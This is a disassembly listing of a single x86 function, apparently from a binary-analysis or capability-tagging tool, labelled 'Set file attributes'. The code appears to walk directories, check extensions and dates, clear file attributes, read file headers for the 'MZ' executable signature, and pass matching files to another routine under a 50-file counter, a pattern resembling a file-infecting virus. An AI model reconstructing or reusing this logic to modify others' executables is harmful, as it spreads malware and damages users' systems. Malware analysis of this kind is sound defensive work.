Function at 0x41369c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x5f
push 0
push 0
dec ecx
jne 0x4136a4
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040457c
lea eax, [ebp - 0x160]
mov edx, dword [0x4063bc]
call fcn.004049dc
xor eax, eax
push ebp
push 0x413ad3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x432888], 0x32
jg 0x413a6b
lea eax, [ebp - 0x2b0]
mov ecx, 0x413ae8
mov edx, dword [ebp - 4]
call fcn.004043d8
mov eax, dword [ebp - 0x2b0]
lea ecx, [ebp - 0x160]
mov edx, 0x3f
call fcn.004076ac
cmp dword [ebp - 0x154], 0
je 0x413775
mov eax, dword [ebp - 0x154]
mov edx, 0x413af8
call fcn.004044d8
je 0x413775
mov eax, dword [ebp - 0x154]
mov edx, 0x413b04
call fcn.004044d8
je 0x413775
mov eax, dword [ebp - 0x158]
add eax, 0xfffffff0
sub eax, 2
jb 0x41374c
sub eax, 4
jne 0x413775
push dword [ebp - 4]
push 0x413b10
push dword [ebp - 0x154]
lea eax, [ebp - 0x2b4]
mov edx, 3
call fcn.0040444c
mov eax, dword [ebp - 0x2b4]
call fcn.0041369c
lea edx, [ebp - 0x2b8]
mov eax, dword [ebp - 0x154]
call fcn.00407800
mov eax, dword [ebp - 0x2b8]
mov edx, 0x413b1c
call fcn.004044d8
jne 0x4138fc
call fcn.00408a74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x2c0]
call fcn.00409688
mov eax, dword [ebp - 0x2c0]
mov dl, byte [eax + 3]
lea eax, [ebp - 0x2bc]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x2bc]
lea eax, [ebp - 0x2c4]
call fcn.00402e54
call fcn.00408a74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x2cc]
call fcn.00409688
mov eax, dword [ebp - 0x2cc]
mov dl, byte [eax + 4]
lea eax, [ebp - 0x2c8]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x2c8]
lea eax, [ebp - 0x2c4]
mov cl, 2
call fcn.00402e24
lea edx, [ebp - 0x2c4]
lea eax, [ebp - 0x2d0]
call fcn.00402e54
call fcn.00408a74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x2d4]
call fcn.00409688
mov eax, dword [ebp - 0x2d4]
mov dl, byte [eax]
lea eax, [ebp - 0x2c8]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x2c8]
lea eax, [ebp - 0x2d0]
mov cl, 3
call fcn.00402e24
lea edx, [ebp - 0x2d0]
lea eax, [ebp - 0x2dc]
call fcn.00402e54
call fcn.00408a74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x2e0]
call fcn.00409688
mov eax, dword [ebp - 0x2e0]
mov dl, byte [eax + 1]
lea eax, [ebp - 0x2c8]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x2c8]
lea eax, [ebp - 0x2dc]
mov cl, 4
call fcn.00402e24
lea eax, [ebp - 0x2dc]
mov edx, 0x413b24
call fcn.00402e60
jae 0x4138fc
push dword [ebp - 4]
push 0x413b10
push dword [ebp - 0x154]
lea eax, [ebp - 0x2e4]
mov edx, 3
call fcn.0040444c
mov ecx, dword [ebp - 0x2e4]
mov edx, 0x413b34
mov eax, 0x413b34
call fcn.004132c8
lea edx, [ebp - 0x2e8]
mov eax, dword [ebp - 0x154]
call fcn.00407800
mov eax, dword [ebp - 0x2e8]
mov edx, 0x413b40
call fcn.004044d8
jne 0x413a4d
lea edx, [ebp - 0x2f0]
xor eax, eax
call fcn.00402938
mov eax, dword [ebp - 0x2f0]
lea edx, [ebp - 0x2ec]
call fcn.004077c8
mov edx, dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x154]
call fcn.004044d8
je 0x413a4d
push 0
push dword [ebp - 4]
push 0x413b10
push dword [ebp - 0x154]
lea eax, [ebp - 0x2f4]
mov edx, 3
call fcn.0040444c
mov eax, dword [ebp - 0x2f4]
call fcn.0040458c
push eax
call sub.kernel32.dll_SetFileAttributesA
push dword [ebp - 4]
push 0x413b10
push dword [ebp - 0x154]
lea eax, [ebp - 0x2f8]
mov edx, 3
call fcn.0040444c
mov edx, dword [ebp - 0x2f8]
lea eax, [ebp - 0x2ac]
call fcn.00402c34
mov edx, 1
lea eax, [ebp - 0x2ac]
call fcn.00403074
mov edx, 0x1d000
lea eax, [ebp - 0x2ac]
call fcn.0040309c
push 0
lea edx, [ebp - 7]
mov ecx, 3
lea eax, [ebp - 0x2ac]
call fcn.00402d8c
lea eax, [ebp - 0x2ac]
call fcn.00402dcc
mov eax, 6
call fcn.00402f50
cmp eax, 3
jne 0x413a42
cmp byte [ebp - 7], 0x4d
je 0x413a42
cmp byte [ebp - 6], 0x5a
je 0x413a42
push dword [ebp - 4]
push 0x413b10
push dword [ebp - 0x154]
lea eax, [ebp - 0x2fc]
mov edx, 3
call fcn.0040444c
mov eax, dword [ebp - 0x2fc]
call fcn.004134bc
inc dword [0x432888]
lea eax, [ebp - 0x160]
call fcn.004076fc
lea eax, [ebp - 0x160]
call fcn.004076fc
test eax, eax
je 0x41370c
lea eax, [ebp - 0x160]
call fcn.00407720
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413ada
lea eax, [ebp - 0x2fc]
mov edx, 8
call fcn.00404114
lea eax, [ebp - 0x2d4]
call fcn.004040f0
lea eax, [ebp - 0x2cc]
call fcn.004040f0
lea eax, [ebp - 0x2c0]
call fcn.004040f0
lea eax, [ebp - 0x2b8]
mov edx, 3
call fcn.00404114
lea eax, [ebp - 0x160]
mov edx, dword [0x4063bc]
call fcn.00404aa0
lea eax, [ebp - 4]
call fcn.004040f0
ret